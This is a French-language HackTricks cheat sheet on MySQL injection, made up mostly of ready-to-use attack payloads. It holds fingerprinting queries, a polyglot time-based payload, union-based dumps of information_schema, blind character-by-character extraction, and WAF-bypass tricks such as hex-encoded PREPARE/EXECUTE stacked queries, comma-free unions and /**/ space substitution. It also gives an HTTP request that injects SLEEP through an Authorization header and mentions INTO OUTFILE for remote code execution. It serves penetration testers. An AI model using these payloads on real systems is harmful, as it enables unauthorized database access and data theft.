mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
184 lines
7.7 KiB
Markdown
184 lines
7.7 KiB
Markdown
# Injection MySQL
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
|
||
|
||
## Commentaires
|
||
```sql
|
||
-- MYSQL Comment
|
||
# MYSQL Comment
|
||
/* MYSQL Comment */
|
||
/*! MYSQL Special SQL */
|
||
/*!32302 10*/ Comment for MySQL version 3.23.02
|
||
```
|
||
## Fonctions Intéressantes
|
||
|
||
### Confirmer Mysql :
|
||
```
|
||
concat('a','b')
|
||
database()
|
||
version()
|
||
user()
|
||
system_user()
|
||
@@version
|
||
@@datadir
|
||
rand()
|
||
floor(2.9)
|
||
length(1)
|
||
count(1)
|
||
```
|
||
### Fonctions utiles
|
||
```sql
|
||
SELECT hex(database())
|
||
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
|
||
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
|
||
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
|
||
SELECT replace(database(),"r","R")
|
||
SELECT substr(database(),1,1)='r'
|
||
SELECT substring(database(),1,1)=0x72
|
||
SELECT ascii(substring(database(),1,1))=114
|
||
SELECT database()=char(114,101,120,116,101,115,116,101,114)
|
||
SELECT group_concat(<COLUMN>) FROM <TABLE>
|
||
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
|
||
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
|
||
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
|
||
```
|
||
## Toutes les injections
|
||
```sql
|
||
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
|
||
```
|
||
from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
|
||
|
||
## Flux
|
||
|
||
Rappelez-vous que dans les versions "modernes" de **MySQL**, vous pouvez substituer "_**information_schema.tables**_" par "_**mysql.innodb_table_stats**_**"** (Cela pourrait être utile pour contourner les WAF).
|
||
```sql
|
||
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
|
||
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
|
||
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
|
||
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
|
||
```
|
||
### **Seulement 1 valeur**
|
||
|
||
- `group_concat()`
|
||
- `Limit X,1`
|
||
|
||
### **Aveugle un par un**
|
||
|
||
- `substr(version(),X,1)='r'` ou `substring(version(),X,1)=0x70` ou `ascii(substr(version(),X,1))=112`
|
||
- `mid(version(),X,1)='5'`
|
||
|
||
### **Aveugle ajoutant**
|
||
|
||
- `LPAD(version(),1...lenght(version()),'1')='asd'...`
|
||
- `RPAD(version(),1...lenght(version()),'1')='asd'...`
|
||
- `SELECT RIGHT(version(),1...lenght(version()))='asd'...`
|
||
- `SELECT LEFT(version(),1...lenght(version()))='asd'...`
|
||
- `SELECT INSTR('foobarbar', 'fo...')=1`
|
||
|
||
## Détecter le nombre de colonnes
|
||
|
||
Utiliser un simple ORDER
|
||
```
|
||
order by 1
|
||
order by 2
|
||
order by 3
|
||
...
|
||
order by XXX
|
||
|
||
UniOn SeLect 1
|
||
UniOn SeLect 1,2
|
||
UniOn SeLect 1,2,3
|
||
...
|
||
```
|
||
## MySQL basé sur Union
|
||
```sql
|
||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
|
||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
|
||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
|
||
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
|
||
```
|
||
## SSRF
|
||
|
||
**Apprenez ici différentes options pour** [**abuser d'une injection Mysql pour obtenir un SSRF**](mysql-ssrf.md)**.**
|
||
|
||
## Astuces de contournement de WAF
|
||
|
||
### Exécution de requêtes via des instructions préparées
|
||
|
||
Lorsque les requêtes empilées sont autorisées, il peut être possible de contourner les WAF en assignant à une variable la représentation hexadécimale de la requête que vous souhaitez exécuter (en utilisant SET), puis d'utiliser les instructions MySQL PREPARE et EXECUTE pour finalement exécuter la requête. Quelque chose comme ceci :
|
||
```
|
||
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
|
||
```
|
||
Pour plus d'informations, veuillez vous référer à [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce).
|
||
|
||
### Alternatives à information_schema
|
||
|
||
N'oubliez pas que dans les versions "modernes" de **MySQL**, vous pouvez substituer _**information_schema.tables**_ par _**mysql.innodb_table_stats**_ ou par _**sys.x$schema_flattened_keys**_ ou par **sys.schema_table_statistics**.
|
||
|
||
### MySQLinjection sans VIRGULES
|
||
|
||
Sélectionnez 2 colonnes sans utiliser de virgule ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
|
||
```
|
||
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
|
||
```
|
||
### Récupération des valeurs sans le nom de la colonne
|
||
|
||
Si à un moment donné vous connaissez le nom de la table mais que vous ne connaissez pas le nom des colonnes à l'intérieur de la table, vous pouvez essayer de trouver combien de colonnes il y a en exécutant quelque chose comme :
|
||
```bash
|
||
# When a True is returned, you have found the number of columns
|
||
select (select "", "") = (SELECT * from demo limit 1); # 2columns
|
||
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
|
||
```
|
||
Supposons qu'il y ait 2 colonnes (la première étant l'ID) et l'autre le flag, vous pouvez essayer de brute-forcer le contenu du flag en essayant caractère par caractère :
|
||
```bash
|
||
# When True, you found the correct char and can start ruteforcing the next position
|
||
select (select 1, 'flaf') = (SELECT * from demo limit 1);
|
||
```
|
||
Plus d'infos sur [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
|
||
|
||
### Injection sans ESPACES (`/**/` astuce de commentaire)
|
||
|
||
Certaines applications assainissent ou analysent les entrées utilisateur avec des fonctions telles que `sscanf("%128s", buf)` qui **s'arrêtent au premier caractère d'espace**.
|
||
Parce que MySQL traite la séquence `/**/` comme un commentaire *et* comme un espace, elle peut être utilisée pour supprimer complètement les espaces normaux du payload tout en gardant la requête syntaxiquement valide.
|
||
|
||
Exemple d'injection aveugle basée sur le temps contournant le filtre d'espace :
|
||
```http
|
||
GET /api/fabric/device/status HTTP/1.1
|
||
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'
|
||
```
|
||
La base de données reçoit comme :
|
||
```sql
|
||
' OR SLEEP(5)-- -'
|
||
```
|
||
C'est particulièrement utile lorsque :
|
||
|
||
* Le tampon contrôlable est de taille restreinte (par exemple, `%128s`) et les espaces termineraient prématurément l'entrée.
|
||
* Injection à travers des en-têtes HTTP ou d'autres champs où les espaces normaux sont supprimés ou utilisés comme séparateurs.
|
||
* Combiné avec des primitives `INTO OUTFILE` pour atteindre un RCE complet avant authentification (voir la section MySQL File RCE).
|
||
|
||
---
|
||
|
||
### Historique de MySQL
|
||
|
||
Vous pouvez voir d'autres exécutions à l'intérieur de MySQL en consultant la table : **sys.x$statement_analysis**
|
||
|
||
### Versions alternatives**s**
|
||
```
|
||
mysql> select @@innodb_version;
|
||
mysql> select @@version;
|
||
mysql> select version();
|
||
```
|
||
## Autres guides d'injection MYSQL
|
||
|
||
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||
|
||
## Références
|
||
|
||
- [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
|
||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|